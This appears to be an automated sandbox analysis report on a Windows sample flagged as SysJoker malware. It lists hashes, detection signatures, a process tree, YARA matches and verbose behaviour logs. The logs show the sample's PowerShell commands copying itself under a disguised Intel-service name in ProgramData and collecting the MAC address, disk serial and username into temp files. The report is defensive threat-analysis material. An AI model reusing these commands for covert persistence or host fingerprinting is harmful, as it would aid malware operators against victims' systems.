Play interactive tour

Edit tour

Windows Analysis Report qtjRj8L3Rw

Overview

General Information

Sample Name:	qtjRj8L3Rw (renamed file extension from none to exe)
Analysis ID:	1708662
MD5:	d90d0f4d6dad402b5d025987030cc87c
SHA1:	fad66bdf5c5dc2c050cbc574832c6995dba086a0
SHA256:	1ffd6559d21470c40dcf9236da51e5823d7ad58c93502279871c3fe7718c901c
Infos:
Most interesting Screenshot:

Detection

SysJoker

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected SysJoker

Antivirus / Scanner detection for submitted sample

Found detection on Joe Sandbox Cloud Basic

Antivirus detection for dropped file

Writes or reads registry keys via WMI

Encrypted powershell cmdline option found

Powershell drops PE file

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Drops PE files to the application program directory (C:\ProgramData)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

Contains functionality to read the PEB

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

qtjRj8L3Rw.exe (PID: 5732 cmdline: "C:\Users\user\Desktop\qtjRj8L3Rw.exe" MD5: D90D0F4D6DAD402B5D025987030CC87C)

powershell.exe (PID: 5848 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" copy 'C:\Users\user\Desktop\qtjRj8L3Rw.exe' 'C:\ProgramData\SystemData\igfxCUIService.exe' MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 5868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

igfxCUIService.exe (PID: 4384 cmdline: "C:\ProgramData\SystemData\igfxCUIService.exe" MD5: D90D0F4D6DAD402B5D025987030CC87C)

powershell.exe (PID: 5312 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" getmac | Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps1.txt' ; wmic path win32_physicalmedia get SerialNumber | Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps2.txt' MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 4564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

getmac.exe (PID: 3328 cmdline: C:\Windows\system32\getmac.exe MD5: 6AB605BD2223BFB2E55A466BE9816914)

WMIC.exe (PID: 3788 cmdline: "C:\Windows\System32\Wbem\WMIC.exe" path win32_physicalmedia get SerialNumber MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

powershell.exe (PID: 4704 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $env:username | Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\tempu.txt' MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 4736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
qtjRj8L3Rw.exe	JoeSecurity_SysJoker	Yara detected SysJoker	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\SystemData\igfxCUIService.exe	JoeSecurity_SysJoker	Yara detected SysJoker	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.532048911.0000000000C1A000.00000002.00020000.sdmp	JoeSecurity_SysJoker	Yara detected SysJoker	Joe Security
00000007.00000000.643724739.0000000000D5A000.00000002.00020000.sdmp	JoeSecurity_SysJoker	Yara detected SysJoker	Joe Security
00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp	JoeSecurity_SysJoker	Yara detected SysJoker	Joe Security
00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp	JoeSecurity_SysJoker	Yara detected SysJoker	Joe Security
Process Memory Space: qtjRj8L3Rw.exe PID: 5732	JoeSecurity_SysJoker	Yara detected SysJoker	Joe Security
Process Memory Space: igfxCUIService.exe PID: 4384	JoeSecurity_SysJoker	Yara detected SysJoker	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author
7.0.igfxCUIService.exe.d10000.0.unpack	JoeSecurity_SysJoker	Yara detected SysJoker	Joe Security
7.2.igfxCUIService.exe.d10000.0.unpack	JoeSecurity_SysJoker	Yara detected SysJoker	Joe Security
0.2.qtjRj8L3Rw.exe.bd0000.0.unpack	JoeSecurity_SysJoker	Yara detected SysJoker	Joe Security
0.0.qtjRj8L3Rw.exe.bd0000.0.unpack	JoeSecurity_SysJoker	Yara detected SysJoker	Joe Security

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus / Scanner detection for submitted sample

Show sources

Source: qtjRj8L3Rw.exe

Avira: detected

Antivirus detection for dropped file

Show sources

Source: C:\ProgramData\SystemData\igfxCUIService.exe

Avira: detection malicious, Label: TR/Redcap.rjsiq

Source: qtjRj8L3Rw.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: qtjRj8L3Rw.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: C:\ProgramData\SystemData\igfxCUIService.exe

Code function: 7_2_00D4B17F FindFirstFileExW,

7_2_00D4B17F

Source: powershell.exe, 00000003.00000003.610253378.0000000002A0D000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: igfxCUIService.exe, 00000007.00000002.825495321.0000000000B8A000.00000004.00000020.sdmp	String found in binary or memory: https://drive.google.com/uc?id=1W64PQQxrwY3XjBnv_QAeBQu-ePr537eu
Source: igfxCUIService.exe, 00000007.00000002.825495321.0000000000B8A000.00000004.00000020.sdmp	String found in binary or memory: https://drive.google.com/uc?id=1W64PQQxrwY3XjBnv_QAeBQu-ePr537eu2

Source: igfxCUIService.exe, 00000007.00000002.825495321.0000000000B8A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

Found detection on Joe Sandbox Cloud Basic

Show sources

Source: qtjRj8L3Rw

Joe Sandbox Cloud Basic: Detection: malicious Score: 92

Perma Link

Writes or reads registry keys via WMI

Show sources

Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue

Powershell drops PE file

Show sources

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\ProgramData\SystemData\igfxCUIService.exe

Jump to dropped file

Source: qtjRj8L3Rw.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: 0_2_00BD11F0	0_2_00BD11F0
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: 0_2_00BD6820	0_2_00BD6820
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: 0_2_00C00820	0_2_00C00820
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: 0_2_00BFE852	0_2_00BFE852
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: 0_2_00BFB99E	0_2_00BFB99E
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: 0_2_00C10192	0_2_00C10192
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: 0_2_00BD5230	0_2_00BD5230
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: 0_2_00BD6630	0_2_00BD6630
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: 0_2_00C13660	0_2_00C13660
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: 0_2_00C13780	0_2_00C13780
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: 0_2_00BFB76C	0_2_00BFB76C
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: 0_2_00C11F1C	0_2_00C11F1C
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D111F0	7_2_00D111F0
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D50192	7_2_00D50192
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D15230	7_2_00D15230
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D53660	7_2_00D53660
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D16630	7_2_00D16630
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D53780	7_2_00D53780
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D3B76C	7_2_00D3B76C
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D508A9	7_2_00D508A9
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D3E852	7_2_00D3E852
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D16820	7_2_00D16820
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D40820	7_2_00D40820
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D3B99E	7_2_00D3B99E
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D37960	7_2_00D37960
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D4DDCF	7_2_00D4DDCF
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D51F1C	7_2_00D51F1C

Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: String function: 00D351F0 appears 53 times
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: String function: 00BF51F0 appears 48 times

Source: qtjRj8L3Rw.exe, 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameIGFXCUISERVICE.EXE^ vs qtjRj8L3Rw.exe
Source: qtjRj8L3Rw.exe	Binary or memory string: OriginalFilenameIGFXCUISERVICE.EXE^ vs qtjRj8L3Rw.exe

Source: Joe Sandbox View

Dropped File: C:\ProgramData\SystemData\igfxCUIService.exe 1FFD6559D21470C40DCF9236DA51E5823D7AD58C93502279871C3FE7718C901C

Source: qtjRj8L3Rw.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\qtjRj8L3Rw.exe "C:\Users\user\Desktop\qtjRj8L3Rw.exe"
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" copy 'C:\Users\user\Desktop\qtjRj8L3Rw.exe' 'C:\ProgramData\SystemData\igfxCUIService.exe'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Process created: C:\ProgramData\SystemData\igfxCUIService.exe "C:\ProgramData\SystemData\igfxCUIService.exe"
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" getmac \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps1.txt' ; wmic path win32_physicalmedia get SerialNumber \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps2.txt'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\getmac.exe C:\Windows\system32\getmac.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe "C:\Windows\System32\Wbem\WMIC.exe" path win32_physicalmedia get SerialNumber
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $env:username \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\tempu.txt'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" copy 'C:\Users\user\Desktop\qtjRj8L3Rw.exe' 'C:\ProgramData\SystemData\igfxCUIService.exe'	Jump to behavior
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Process created: C:\ProgramData\SystemData\igfxCUIService.exe "C:\ProgramData\SystemData\igfxCUIService.exe"	Jump to behavior
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" getmac \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps1.txt' ; wmic path win32_physicalmedia get SerialNumber \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps2.txt'	Jump to behavior
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $env:username \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\tempu.txt'	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\getmac.exe C:\Windows\system32\getmac.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe "C:\Windows\System32\Wbem\WMIC.exe" path win32_physicalmedia get SerialNumber	Jump to behavior

Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\Documents\20220112

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jmv4hq3u.jjj.ps1

Jump to behavior

Source: temps1.txt.8.dr

Binary string: 5C-22-C6-13-4E-F9 \Device\Tcpip_{B8652DFC-E1F5-449D-BAE4-BFF4128DE918}

Source: classification engine

Classification label: mal88.troj.evad.winEXE@16/11@0/0

Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe

Code function: 0_2_00BDEC90 CoInitialize,CoCreateInstance,

0_2_00BDEC90

Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4736:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5868:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4564:120:WilError_01

Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe

Code function: 0_2_00BD3FB0 LoadResource,LockResource,SizeofResource,

0_2_00BD3FB0

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: qtjRj8L3Rw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: qtjRj8L3Rw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: qtjRj8L3Rw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: qtjRj8L3Rw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: qtjRj8L3Rw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: qtjRj8L3Rw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: qtjRj8L3Rw.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: qtjRj8L3Rw.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: qtjRj8L3Rw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: qtjRj8L3Rw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: qtjRj8L3Rw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: qtjRj8L3Rw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: qtjRj8L3Rw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: 0_2_00C15E0B push ecx; ret	0_2_00C15E1E
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D35234 push ecx; ret	7_2_00D35246
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D55E0B push ecx; ret	7_2_00D55E1E

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\ProgramData\SystemData\igfxCUIService.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\ProgramData\SystemData\igfxCUIService.exe

Jump to dropped file

Source: C:\ProgramData\SystemData\igfxCUIService.exe

Code function: 7_2_00D360A8 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

7_2_00D360A8

Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
